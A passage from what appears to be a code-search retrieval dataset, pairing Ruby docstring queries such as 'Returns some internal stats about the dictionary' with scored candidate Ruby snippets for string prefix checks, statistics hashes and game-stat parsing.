"text": "def begins_with?(s)\n index(s) == 0\n end",
"title": ""
},
{
"docid": "0123baa35f0e489d68d8c932d580c518",
"score": "0.62597024",
"text": "def starts_with_consonant?(s)\n return /(?=^[^aiueo_\\d])(?=\\w)/i.match(s) ? true : false \nend",
"title": ""
},
{
"docid": "1e1800447e9de7199c11018ea06d6407",
"score": "0.62475646",
"text": "def starts_with?(prefix)\n prefix = prefix.to_s\n self[0, prefix.length] == prefix\n end",
"title": ""
},
{
"docid": "03bfd7c43ea3e050ec615a817245e854",
"score": "0.6245129",
"text": "def letter?(lookAhead)\n if lookAhead =~ /[[:alpha:]]/\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "c9fba3bb911f72f91a1522c28af4a598",
"score": "0.62410337",
"text": "def person_is_seller(name)\n name[-1] == 't'\nend",
"title": ""
},
{
"docid": "dada99ccac296b5490d9c937980eef69",
"score": "0.6238776",
"text": "def yours?(str)\n str[0..1] == 'BA'\n end",
"title": ""
},
{
"docid": "7ddab2ce1a9114b35c93b18139cb3fc8",
"score": "0.6235923",
"text": "def is_lower?\n r = 'a'..'z'\n self.split('').keep_if{ |c| r.include?(c) }.count == self.length\n end",
"title": ""
},
{
"docid": "c8b774f878fede875d1102519352218b",
"score": "0.623202",
"text": "def full_names(names = [])\n names.select { |name| name.match /\\w\\s\\w/ }\nend",
"title": ""
},
{
"docid": "0e6366fc03d9d477a00c16a6858b5b31",
"score": "0.62309414",
"text": "def is_lower?(c)\n return c != c.capitalize\n end",
"title": ""
},
{
"docid": "999205dfa7efe25448b7f63a2e9ed199",
"score": "0.6225179",
"text": "def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"title": ""
},
{
"docid": "999205dfa7efe25448b7f63a2e9ed199",
"score": "0.6225179",
"text": "def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"title": ""
},
{
"docid": "d898771cedb869220298ef89e8be791e",
"score": "0.621875",
"text": "def scoped_name_is(name)\n name = SqlHelper::escapeWildcards(name)\n where do\n first_name.op('||', ' ').op('||', last_name).like(name) | \n first_name.op('||', last_name).like(name) \n end\n end",
"title": ""
},
{
"docid": "ce5fa758b1b497cafcf931921ce04e3e",
"score": "0.62166387",
"text": "def space?\n\t\trawString.start_with? 'a'\n\tend",
"title": ""
}
] |
6324b382da11ed3adc5fa4d7903da8e7 | Returns some internal stats about the dictionary. | [
{
"docid": "e3f417af1eea84b2008c1f5f4e341499",
"score": "0.7149436",
"text": "def stats\n s = {}\n s['dictionary_size'] = @dict.size\n max = total = 0\n @dict.each do |n_gramm, ng_list|\n size = ng_list.length\n max = size if size > max\n total += size\n end\n s['max_list_size'] = max\n s['avg_list_size'] = total > 0 ? total.to_f / s['dictionary_size'] : 0\n\n s\n end",
"title": ""
}
] | [
{
"docid": "efb3b4a5110b5eab3e873abc3989652b",
"score": "0.7435171",
"text": "def stats\n @stats ||= {}\n end",
"title": ""
},
{
"docid": "5413c474154cd20a97915e4c1e03adb3",
"score": "0.73497546",
"text": "def stats\n self[:stats]\n end",
"title": ""
},
{
"docid": "12724564aecb5c212eea65bf201f1d52",
"score": "0.72900844",
"text": "def statistics \n\t\tputs \"Inital Dictionary Stats \"\n\t\tputs \" Total Words Found: #{@my_dictionary.count}\"\n\t\tword_count_by_letter\n\tend",
"title": ""
},
{
"docid": "5986037346d0be8d155fb49bbf0f8fac",
"score": "0.71907705",
"text": "def stats\n @d.stats\n end",
"title": ""
},
{
"docid": "313bd6823689ab00942f622f975ba11f",
"score": "0.71137995",
"text": "def stats\n update() unless @info\n Types::Stats.new @info.return\n end",
"title": ""
},
{
"docid": "0f199711a1436e6da1dde12969aa46ba",
"score": "0.7105734",
"text": "def stats\n return {\n \"Intelligence\": self.intelligence,\n \"Perception\": self.perception,\n \"Strength\": self.strength,\n \"Stamina\": self.stamina,\n \"Presence\": self.presence,\n \"Communication\": self.communication,\n \"Dexterity\": self.dexterity,\n \"Quickness\": self.quickness \n }\n end",
"title": ""
},
{
"docid": "600745f81af1ce78324dbbc73f8ab19b",
"score": "0.70940024",
"text": "def stats; end",
"title": ""
},
{
"docid": "600745f81af1ce78324dbbc73f8ab19b",
"score": "0.70940024",
"text": "def stats; end",
"title": ""
},
{
"docid": "600745f81af1ce78324dbbc73f8ab19b",
"score": "0.70940024",
"text": "def stats; end",
"title": ""
},
{
"docid": "efc2ca2088b4f774d773c3473807ef9f",
"score": "0.7065043",
"text": "def stats\n unformatted = super\n return {} unless unformatted\n unformatted.inject({}) do |h, (k, v)|\n h[k.to_i] = v.to_i\n h\n end\n end",
"title": ""
},
{
"docid": "9ca7677cd5064a84db575efcb78ac098",
"score": "0.70611876",
"text": "def stats\n @stats\n end",
"title": ""
},
{
"docid": "9ca7677cd5064a84db575efcb78ac098",
"score": "0.70611876",
"text": "def stats\n @stats\n end",
"title": ""
},
{
"docid": "a1c35868e6cd638db046e8c407379e7a",
"score": "0.70173925",
"text": "def stats\n @data.stats\n end",
"title": ""
},
{
"docid": "32721cee4216e8f35d7350c2216a49ce",
"score": "0.7017065",
"text": "def stats\n if size > 0\n {\n \"total\" => size,\n \"oldest age\" => size > 0 ? Time.now.to_i - @cache[@lru.first] : 0,\n \"youngest age\" => size > 0 ? Time.now.to_i - @cache[@lru.last] : 0\n }\n end\n end",
"title": ""
},
{
"docid": "0ea494a2b971d6292dc307197dc7e7a2",
"score": "0.70064706",
"text": "def stats\n return @stats\n end",
"title": ""
},
{
"docid": "1bd3546e9f472fe04612d4e5d2a208d1",
"score": "0.6998922",
"text": "def stats\n generate_hash(send_request('stats'))\n end",
"title": ""
},
{
"docid": "d639b138b03df1d43c6fe38978f84b7c",
"score": "0.6971866",
"text": "def stats\n results[\"stats\"]\n end",
"title": ""
},
{
"docid": "d639b138b03df1d43c6fe38978f84b7c",
"score": "0.6971866",
"text": "def stats\n results[\"stats\"]\n end",
"title": ""
},
{
"docid": "8726d45e2bb8a4252b6b10637484d68c",
"score": "0.6915843",
"text": "def stats\n {\n people: people_stats,\n groups: group_stats,\n terms: term_stats,\n areas: area_stats,\n elections: election_stats,\n positions: position_stats,\n\n }\n end",
"title": ""
},
{
"docid": "95cfd81c527cb818e030c3d0d81b9c92",
"score": "0.6870136",
"text": "def statistics\n {\n size: size,\n hits: @meta_mutex.synchronize { @hits },\n misses: @meta_mutex.synchronize { @misses }\n }\n end",
"title": ""
},
{
"docid": "fe3bf327ed1825413f1586be67eca765",
"score": "0.67600167",
"text": "def stats\n response[\"stats\"]\n end",
"title": ""
},
{
"docid": "2baeebacddf4b1327fdba4c5b391743c",
"score": "0.6743613",
"text": "def stats\n end",
"title": ""
},
{
"docid": "2baeebacddf4b1327fdba4c5b391743c",
"score": "0.6743613",
"text": "def stats\n end",
"title": ""
},
{
"docid": "2baeebacddf4b1327fdba4c5b391743c",
"score": "0.6743613",
"text": "def stats\n end",
"title": ""
},
{
"docid": "553a6c92d6e73149d5fbbfd5b69cd58f",
"score": "0.6733126",
"text": "def stats\n Stats.new(**meta_get_stats)\n end",
"title": ""
},
{
"docid": "80364e78aa7154098fb4433675522a1c",
"score": "0.67326105",
"text": "def stats\n return {\n energy: @energy,\n muscle: @muscle,\n fat: @fat\n }\n end",
"title": ""
},
{
"docid": "79ef78ca4e65e05f2d45342e56692c91",
"score": "0.6719608",
"text": "def getStats() \r\n\t\t@stats\r\n\tend",
"title": ""
},
{
"docid": "0cc69fb710c5711891df30396793d52a",
"score": "0.66890836",
"text": "def stats\n response = get \"stats\"\n Hashie::Mash.new(response)\n end",
"title": ""
},
{
"docid": "b5e69e3522fdcd24e6fd853c4c177b3d",
"score": "0.66881305",
"text": "def stats\n singleton.stats\n end",
"title": ""
},
{
"docid": "49a2978670ff68e1b171a95f5aa5bd30",
"score": "0.6686238",
"text": "def statistics; end",
"title": ""
},
{
"docid": "c6c8d21c14210300d572c736cde2d181",
"score": "0.6622944",
"text": "def stats\n self.class.stats\n end",
"title": ""
},
{
"docid": "5ecb023b96dcdd7d2ae67e7463a90d4d",
"score": "0.6611362",
"text": "def lifetime_stats\n return unless public?\n\n if @lifetime_stats.nil?\n super\n @lifetime_stats['avg_adrenaline_shared'] = @xml_data.elements['stats/lifetime/adrenalineshared'].text.to_f\n @lifetime_stats['avg_adrenaline_used'] = @xml_data.elements['stats/lifetime/adrenalineused'].text.to_f\n @lifetime_stats['avg_defibrillators_used'] = @xml_data.elements['stats/lifetime/defibrillatorsused'].text.to_f\n end\n\n @lifetime_stats\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602632",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602515",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.66024476",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.66024476",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "aa325ea48e9738a8ab68ed34e5efc948",
"score": "0.6602434",
"text": "def statistics\n @statistics\n end",
"title": ""
},
{
"docid": "594d181b53860d5e29d7eff51e2196e8",
"score": "0.65622574",
"text": "def all_stats\n @stats = {:frequency => sumas_for(:frequency),\n :purpose_relaxation => sumas_for(:purpose_relaxation),\n :purpose_fuel => sumas_for(:purpose_fuel),\n :purpose_gathering => sumas_for(:purpose_gathering),\n :purpose_hobbitry => sumas_for(:purpose_hobbitry),\n :important_wood => sumas_for(:important_wood),\n :important_nature => sumas_for(:important_nature),\n :important_ground => sumas_for(:important_ground),\n :important_climate => sumas_for(:important_climate),\n :important_gathering => sumas_for(:important_gathering),\n :important_health => sumas_for(:important_health),\n :important_water => sumas_for(:important_water),\n :relation => sumas_for(:relation),\n :time_spent => minmax_for(:time_spent),\n :once_payment => minmax_for(:once_payment),\n :once_receive => minmax_for(:once_receive)\n }\n end",
"title": ""
},
{
"docid": "79805f801f767ea41b405ad5c9bc0363",
"score": "0.6558903",
"text": "def stats\n values = {}\n self.class.stats.each do |name, behavior|\n values[name] = self.instance_eval(&behavior)\n end\n values\n end",
"title": ""
},
{
"docid": "ec7b9bca8d581a25144229214b324670",
"score": "0.6555127",
"text": "def survival_stats\n return unless public?\n\n if @survival_stats.nil?\n super\n @survival_stats[:maps] = {}\n @xml_data.elements.each('stats/survival/maps/map') do |map_data|\n map = L4D2Map.new(map_data)\n @survival_stats[:maps][map.id] = map\n end\n end\n\n @survival_stats\n end",
"title": ""
},
{
"docid": "461039bae897f97b4590fa4ac4640b6f",
"score": "0.65480214",
"text": "def survival_stats\n return unless public?\n\n if @survival_stats.nil?\n super\n @survival_stats[:maps] = {}\n @xml_data.elements.each('stats/survival/maps/*') do |map_data|\n @survival_stats[:maps][map_data.name] = L4DMap.new(map_data)\n end\n end\n\n @survival_stats\n end",
"title": ""
},
{
"docid": "3bf50340a9cdc684d6c862f56a47cb50",
"score": "0.6530258",
"text": "def stats\r\n Stats.instance\r\n end",
"title": ""
},
{
"docid": "22436b2e88dc8d997f4db8a6d4ebac8d",
"score": "0.6502257",
"text": "def stats\n STAT_METHODS.map {|name| [name, send(name) || 0]}.to_h\n end",
"title": ""
},
{
"docid": "e1d48e900fdf01a33dbb51df077a1448",
"score": "0.64777815",
"text": "def stats\n stats = {}\n talk(\"CORPUS-STATS\").split.each_with_index do |value, index|\n case index\n when 1\n stats[:segment_tokens] = value.to_i\n when 2\n stats[:segment_types] = value.to_i\n when 3\n stats[:lemmata] = value.to_i\n when 4\n stats[:tags] = value.to_i\n end\n end\n stats\n end",
"title": ""
},
{
"docid": "4ec1233cd6c20d40e6450ba23c16524c",
"score": "0.64680076",
"text": "def all_stats\n @all_stats = {stregnth: @stregnth, speed: @speed, wisdom: @wisdom, alertness: @alertness, magic: @magic, health: @health}\n end",
"title": ""
},
{
"docid": "a8bb5742231d5e7b5d112ded383bea76",
"score": "0.6454981",
"text": "def survival_stats\n return unless public?\n\n if @survival_stats.nil?\n super\n @survival_stats[:maps] = {}\n @xml_data['stats']['survival']['maps'].each do |map_data|\n @survival_stats[:maps][map_data[0]] = L4DMap.new *map_data\n end\n end\n\n @survival_stats\n end",
"title": ""
},
{
"docid": "f676ebf1aa495adca00d75d9bd25d1ec",
"score": "0.64380205",
"text": "def stats\n {\n :name => @name,\n :chewy => @chewy,\n :low_calorie? => self.low_calorie?,\n :main_color => @main_color \n \n } \n end",
"title": ""
},
{
"docid": "22e327ba42ea18c350f49d7e49e38744",
"score": "0.64333344",
"text": "def stats\n StatType.DEFAULT_STATS\n end",
"title": ""
},
{
"docid": "8fa2957f3cfcf5f35653d7685264a174",
"score": "0.6432591",
"text": "def map_stats\n return unless public?\n\n if @map_stats.nil?\n @map_stats = {}\n maps_data = @xml_data['stats']['maps']\n\n MAPS.each do |map_name|\n @map_stats[map_name] = CSSMap.new(map_name, maps_data)\n end\n end\n\n @map_stats\n end",
"title": ""
},
{
"docid": "3449e4ece3862ebf82e960ea0f0bca3e",
"score": "0.6430233",
"text": "def stats\n @stats ||= Stats.new(self)\n end",
"title": ""
},
{
"docid": "cd67ef0f5e69aa3ef96ccb6ab6ebd97f",
"score": "0.6421484",
"text": "def survival_stats\n return unless public?\n\n if @survival_stats.nil?\n super\n @survival_stats['maps'] = {}\n @xml_data.elements.each('stats/survival/maps/map') do |map_data|\n map = L4D2Map.new(map_data)\n @survival_stats['maps'][map.id] = map\n end\n end\n\n @survival_stats\n end",
"title": ""
},
{
"docid": "03e67eeeb93b13d5ebb29ceac4676cac",
"score": "0.6421399",
"text": "def map_stats\n return unless public?\n\n if @map_stats.nil?\n @map_stats = {}\n maps_data = @xml_data.elements['stats/maps']\n\n MAPS.each do |map_name|\n @map_stats[map_name] = CSSMap.new(map_name, maps_data)\n end\n end\n\n @map_stats\n end",
"title": ""
},
{
"docid": "413257b9aa2def86782781f37cbb6dbd",
"score": "0.64211464",
"text": "def get_stats view\n res = Hash.new\n res[:nrWords] = word_count(view)\n res[:nrExternalLinks] = external_links(view).size\n # res[:externalLinks] = external_links(view)\n res[:nrImages] = images(view).size\n res[:nrUploadedImages] = uploaded_images(view).size\n res[:upLoadedImages] = uploaded_images(view)\n res[:nrWikipediaImages] = images_from_domain(view, 'wikipedia').size\n res[:nrInstagramImages] = images_from_domain(view, 'instagram').size\n res[:nrFlickrImages] = images_from_domain(view, 'flickr').size\n res[:nrSnapchatImages] = images_from_domain(view, 'snapchat').size\n res[:nrPinterestImages] = images_from_domain(view, 'pinterest').size\n res[:lastModified] = view.modified_date\n return res\n end",
"title": ""
},
{
"docid": "4877b65367c9042df350a50adb37ac83",
"score": "0.6395291",
"text": "def initialize\n @stats = {}\n end",
"title": ""
},
{
"docid": "422ccf2f210934957a3a26b4aac2a0e5",
"score": "0.6379837",
"text": "def descriptive_statistics(modification = {})\n @cached_descriptive_statistics ||= {}\n @cached_descriptive_statistics[modification] ||= (\n data_type.descriptive_statistics(values(modification))\n )\n end",
"title": ""
},
{
"docid": "dfb618aee8bea11ad0253aea17b91315",
"score": "0.6367423",
"text": "def stats\n request(:stats)\n end",
"title": ""
},
{
"docid": "3a122b2b3bf2028d1de834d563338b57",
"score": "0.6351543",
"text": "def view_stats\n puts \"Name: #{self.name}\"\n puts \"Level: #{self.level}\"\n puts \"Coins: #{self.coins}\"\n puts \"Weapon: #{self.weapon[:name]}\"\n puts \"Experience: #{self.experience}\"\n end",
"title": ""
},
{
"docid": "3a122b2b3bf2028d1de834d563338b57",
"score": "0.6351543",
"text": "def view_stats\n puts \"Name: #{self.name}\"\n puts \"Level: #{self.level}\"\n puts \"Coins: #{self.coins}\"\n puts \"Weapon: #{self.weapon[:name]}\"\n puts \"Experience: #{self.experience}\"\n end",
"title": ""
},
{
"docid": "a05ee4db78506f25ed63b1b13ec412d0",
"score": "0.6331558",
"text": "def map_stats\n return unless public?\n\n if @map_stats.nil?\n @map_stats = {}\n maps_data = @xml_data['stats']['maps']\n\n MAPS.each do |map_name|\n @map_stats[map_name] = CSSMap.new(map_name, maps_data)\n end\n end\n\n @map_stats\n end",
"title": ""
},
{
"docid": "7505af2fca75542a0780f7a9fc91402c",
"score": "0.6319658",
"text": "def stats\n super\n end",
"title": ""
},
{
"docid": "7505af2fca75542a0780f7a9fc91402c",
"score": "0.6319658",
"text": "def stats\n super\n end",
"title": ""
},
{
"docid": "01c7f27448224c81350ac111cdb68645",
"score": "0.6306595",
"text": "def stats\n { :store_stats => store.stats,\n :queue_stats => queue.stats,\n :tube => self.tube }\n end",
"title": ""
},
{
"docid": "01c7f27448224c81350ac111cdb68645",
"score": "0.6306595",
"text": "def stats\n { :store_stats => store.stats,\n :queue_stats => queue.stats,\n :tube => self.tube }\n end",
"title": ""
},
{
"docid": "82392e5fd275f88a09190c4a3220cbe6",
"score": "0.63019973",
"text": "def stats\n # Word Count, scan could be bad on a large file...\n wc = self.text.scan(/(\\w|-)+/).size\n\n mod = GlobalSettings.instance.file.changed\n ret = {\n 'Word Count' => wc,\n }\n\n def ret.to_a\n r = super\n\n r = r.map {|pair|\n k, v = pair\n \"#{k}: #{v}\"\n }\n\n return r\n end\n\n return ret\n end",
"title": ""
},
{
"docid": "191026433d37d753d9b4d162b281d717",
"score": "0.6291201",
"text": "def stats\n @stats ||= query\n end",
"title": ""
},
{
"docid": "5da8306f1f26661144532f88c0ed8f00",
"score": "0.629098",
"text": "def get_stats\n stats = {}\n talk(\"GET-CORPUS-STATS\").split.each_with_index do |value, index|\n case index\n when 1\n stats[:segment_tokens] = value.to_i\n when 2\n stats[:segment_types] = value.to_i\n when 3\n stats[:lemmata] = value.to_i\n when 4\n stats[:tags] = value.to_i\n end\n end\n stats\n end",
"title": ""
},
{
"docid": "cba88f83c18fb1f892aadecafc649693",
"score": "0.62897146",
"text": "def statistic\n data.statistic\n end",
"title": ""
},
{
"docid": "b8d841bb19ef8e13a223f69f5b636390",
"score": "0.6287505",
"text": "def all_stats\n summary_statistics = {}\n summary_statistics[:min] = self.min\n summary_statistics[:first_quartile] = self.percentile(0.25)\n summary_statistics[:second_quartile] = self.percentile(0.5)\n summary_statistics[:third_quartile] = self.percentile(0.75)\n summary_statistics[:max] = self.max\n summary_statistics[:median] = self.median \n summary_statistics[:mode] = self.mode\n summary_statistics[:mean] = self.average\n summary_statistics[:standard_deviation] = self.standard_deviation\n summary_statistics[:sum] = self.sum\n summary_statistics[:sample_variance] = self.sample_variance\n summary_statistics[:elbow] = self.elbow\n summary_statistics[:n] = self.length\n summary_statistics\n end",
"title": ""
},
{
"docid": "12ba28b91e514e104c1c38b4df76e6b6",
"score": "0.6283149",
"text": "def statistics\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5d6870e1e664b584f85db2d81655c990",
"score": "0.6275927",
"text": "def stats\n s = {}\n socket_puts(\"stats\").each do |f|\n if md = @@re['STATS'].match(f);\n s[md[1]] = md[2] \n end\n end\n return s\n end",
"title": ""
},
{
"docid": "52d70a6016bbc1294e00e153ac274ac4",
"score": "0.62754536",
"text": "def item_stats\n return unless public?\n\n if @item_stats.nil?\n weapons_data = @xml_data['stats']['weapons']\n\n @item_stats = {\n :ammo_deployed => weapons_data['ammo_deployed'].to_i,\n :sentryguns_deployed => weapons_data['sentryguns_deployed'].to_i,\n :sentry_flamers_deployed => weapons_data['sentry_flamers_deployed'].to_i,\n :sentry_freeze_deployed => weapons_data['sentry_freeze_deployed'].to_i,\n :sentry_cannon_deployed => weapons_data['sentry_cannon_deployed'].to_i,\n :medkits_used => weapons_data['medkits_used'].to_i,\n :flares_used => weapons_data['flares_used'].to_i,\n :adrenaline_used => weapons_data['adrenaline_used'].to_i,\n :tesla_traps_deployed => weapons_data['tesla_traps_deployed'].to_i,\n :freeze_grenades_thrown => weapons_data['freeze_grenades_thrown'].to_i,\n :electric_armor_used => weapons_data['electric_armor_used'].to_i,\n :healgun_heals => weapons_data['healgun_heals'].to_i,\n :healgun_heals_self => weapons_data['healgun_heals_self'].to_i,\n :healbeacon_heals => weapons_data['healbeacon_heals'].to_i,\n :healbeacon_heals_self => weapons_data['healbeacon_heals_self'].to_i,\n :damage_amps_used => weapons_data['damage_amps_used'].to_i,\n :healbeacons_deployed => weapons_data['healbeacons_deployed'].to_i,\n :healbeacon_heals_pct => weapons_data['healbeacon_heals_pct'].to_f,\n :healgun_heals_pct => weapons_data['healgun_heals_pct'].to_f,\n :healbeacon_heals_pct_self => weapons_data['healbeacon_heals_pct_self'].to_f,\n :healgun_heals_pct_self => weapons_data['healgun_heals_pct_self'].to_f\n }\n end\n\n @item_stats\n end",
"title": ""
},
{
"docid": "6568fbd79ff1d6ffd6c9c9e81116154f",
"score": "0.6272644",
"text": "def stats\n stats = super\n stats << @cache.stats\n end",
"title": ""
},
{
"docid": "12b0b3a7f602569aa5f7bb61bacf950d",
"score": "0.6270218",
"text": "def stats\n hash = {}\n instance_variables.each do |var|\n # Add up the total bytes of text as well as the length.\n if var == :@text\n hash[:text] = @text.length\n hash[:text_bytes] = @text.sum(&:length)\n # Else take the var's #length method return value.\n else\n next unless instance_variable_get(var).respond_to?(:length)\n\n hash[var[1..-1].to_sym] = instance_variable_get(var).send(:length)\n end\n end\n\n hash\n end",
"title": ""
},
{
"docid": "4d1b8dd10aef550b497a367e814e4565",
"score": "0.6269131",
"text": "def weapon_stats\n return unless public?\n\n if @weapon_stats.nil?\n @weapon_stats = {}\n @xml_data['stats']['weapons']['weapon'].each do |weapon_data|\n @weapon_stats[weapon_data['key']] = DoDSWeapon.new weapon_data\n end\n end\n\n @weapon_stats\n end",
"title": ""
},
{
"docid": "9f54a855442a5ca55a7fb1b5bb5d45c7",
"score": "0.62545156",
"text": "def stats\n result = ''\n attr_accessors.each do |attr|\n result += \"#{attr} #{send(attr)}\\n\"\n end\n result\n end",
"title": ""
},
{
"docid": "1672f8c526f2edbf962477af2f7037d8",
"score": "0.6254285",
"text": "def wikidata_fields\n return {} unless wikidata_stats\n {\n Wikidata_items_created__c: wikidata_stats['items created'] || 0,\n Wikidata_claims_added_removed_or_edited__c: (wikidata_stats['claims created'] || 0) +\n (wikidata_stats['claims removed'] || 0) +\n (wikidata_stats['claims changed'] || 0),\n Wikidata_references_added__c: wikidata_stats['references added'] || 0\n }\n end",
"title": ""
},
{
"docid": "166bcc0f287c267b4da9263ecabc8a8a",
"score": "0.62477136",
"text": "def weapon_stats\n return unless public?\n\n if @weapon_stats.nil?\n @weapon_stats = {}\n @xml_data.elements.each('stats/weapons/weapon') do |weapon_data|\n @weapon_stats[weapon_data.attributes['key']] = DoDSWeapon.new(weapon_data)\n end\n end\n\n @weapon_stats\n end",
"title": ""
},
{
"docid": "166bcc0f287c267b4da9263ecabc8a8a",
"score": "0.62477136",
"text": "def weapon_stats\n return unless public?\n\n if @weapon_stats.nil?\n @weapon_stats = {}\n @xml_data.elements.each('stats/weapons/weapon') do |weapon_data|\n @weapon_stats[weapon_data.attributes['key']] = DoDSWeapon.new(weapon_data)\n end\n end\n\n @weapon_stats\n end",
"title": ""
},
{
"docid": "ba5ebd975c62dc2780b2519c5490d127",
"score": "0.6238877",
"text": "def stats\n storage.stats\n end",
"title": ""
},
{
"docid": "62ada63b6b091a94b9a3a986a0f88379",
"score": "0.6233034",
"text": "def generate_stats(raw_data)\n stats = { \"PATH_INFO\" => get_page(raw_data[:request]) }\n STAT_ENV_MAP.each do |stat_name, env_name|\n stats[env_name] = raw_data[stat_name] if raw_data.has_key? stat_name\n end\n #@@log.debug(\"stats: \" + stats.inspect) \n stats\n end",
"title": ""
},
{
"docid": "f30e9c853bb3874d7272823b7a9e9c38",
"score": "0.6226125",
"text": "def _stats\n [{\n name: 'General',\n weekly: _calculate_stats(true),\n cumulative: _calculate_stats(false)\n }]\n end",
"title": ""
},
{
"docid": "6f11b1ef6406b3b6120479413e472bb5",
"score": "0.6213214",
"text": "def stats\n result = { }\n cache_entries = 0\n cache_entries += @cache.size\n @cache.each do | type, sel_c |\n count = sel_c.size\n sel_c.each do | sel, key_c |\n count += key_c.size\n end\n ((result[:type] ||= { })[type.to_sym] ||= { })[:cache_entries] = count\n cache_entries += count\n end\n result[:cache_entries] = cache_entries\n\n result\n end",
"title": ""
},
{
"docid": "1f12fea3757dc7aa194f5a94ed3c6fdf",
"score": "0.621127",
"text": "def hash\n super +\n @statistics.hash\n end",
"title": ""
},
{
"docid": "738bffe290872ee4e7b431459edb9e98",
"score": "0.6194696",
"text": "def initialize\n @statistics = Hash.new(0).with_indifferent_access\n end",
"title": ""
},
{
"docid": "56eeeac2ac917639f58581acefdaba36",
"score": "0.6181971",
"text": "def stats\n redis.then { |c| c.info }\n end",
"title": ""
},
{
"docid": "1128ec78bbd91236dc31462679f8d43c",
"score": "0.61815757",
"text": "def item_stats\n return unless public?\n\n if @item_stats.nil?\n weapons_data = @xml_data['stats']['weapons']\n\n @item_stats = {}\n @item_stats[:ammo_deployed] = weapons_data['ammo_deployed'].to_i\n @item_stats[:sentryguns_deployed] = weapons_data['sentryguns_deployed'].to_i\n @item_stats[:sentry_flamers_deployed] = weapons_data['sentry_flamers_deployed'].to_i\n @item_stats[:sentry_freeze_deployed] = weapons_data['sentry_freeze_deployed'].to_i\n @item_stats[:sentry_cannon_deployed] = weapons_data['sentry_cannon_deployed'].to_i\n @item_stats[:medkits_used] = weapons_data['medkits_used'].to_i\n @item_stats[:flares_used] = weapons_data['flares_used'].to_i\n @item_stats[:adrenaline_used] = weapons_data['adrenaline_used'].to_i\n @item_stats[:tesla_traps_deployed] = weapons_data['tesla_traps_deployed'].to_i\n @item_stats[:freeze_grenades_thrown] = weapons_data['freeze_grenades_thrown'].to_i\n @item_stats[:electric_armor_used] = weapons_data['electric_armor_used'].to_i\n @item_stats[:healgun_heals] = weapons_data['healgun_heals'].to_i\n @item_stats[:healgun_heals_self] = weapons_data['healgun_heals_self'].to_i\n @item_stats[:healbeacon_heals] = weapons_data['healbeacon_heals'].to_i\n @item_stats[:healbeacon_heals_self] = weapons_data['healbeacon_heals_self'].to_i\n @item_stats[:damage_amps_used] = weapons_data['damage_amps_used'].to_i\n @item_stats[:healbeacons_deployed] = weapons_data['healbeacons_deployed'].to_i\n @item_stats[:healbeacon_heals_pct] = weapons_data['healbeacon_heals_pct'].to_f\n @item_stats[:healgun_heals_pct] = weapons_data['healgun_heals_pct'].to_f\n @item_stats[:healbeacon_heals_pct_self] = weapons_data['healbeacon_heals_pct_self'].to_f\n @item_stats[:healgun_heals_pct_self] = weapons_data['healgun_heals_pct_self'].to_f\n end\n\n @item_stats\n end",
"title": ""
},
{
"docid": "3b88bbb1b181ed4de66c20c078de556a",
"score": "0.61789566",
"text": "def stats\n @stats[:validated] = @security.stats[:validated]\n @stats[:unvalidated] = @security.stats[:unvalidated]\n @stats[:passed] = @security.stats[:passed]\n @stats[:filtered] = @security.stats[:filtered]\n\n r = {:stats => @stats,\n :threads => [],\n :pid => Process.pid,\n :times => {} }\n\n Process.times.each_pair{|k,v| \n k = k.to_sym\n r[:times][k] = v\n }\n\n Thread.list.each do |t|\n r[:threads] << \"#{t.inspect}\"\n end\n\n r[:agents] = Agents.agentlist\n r\n end",
"title": ""
},
{
"docid": "576d1def98aa6a58e994fa8c6c0b76c9",
"score": "0.61731476",
"text": "def weapon_stats\n return unless public?\n\n if @weapon_stats.nil?\n @weapon_stats = {}\n WEAPONS.each do |weapon_node|\n weapon_data = @xml_data.elements[\"stats/weapons/#{weapon_node}\"]\n weapon = AlienSwarmWeapon.new(weapon_data)\n @weapon_stats[weapon.name] = weapon\n end\n end\n\n @weapon_stats\n end",
"title": ""
},
{
"docid": "189f50eae7a8d7da621a81c4813bcc4f",
"score": "0.6171478",
"text": "def die_stats\n @die.stats\n end",
"title": ""
},
{
"docid": "ffac0ec3eb3ab65d09ce7acea9065d6a",
"score": "0.6166702",
"text": "def dictionary\n Dictionary.new.data\n end",
"title": ""
},
{
"docid": "4c5f9f40338dca6a36a97bf5bbd60fa9",
"score": "0.6166385",
"text": "def statistics\n super\n end",
"title": ""
}
] |
dd383a012d8779c2a634dafb49a889b1 | Prepares a specific spell in a specific slot, WITHOUT ensuring that it's valid! | [
{
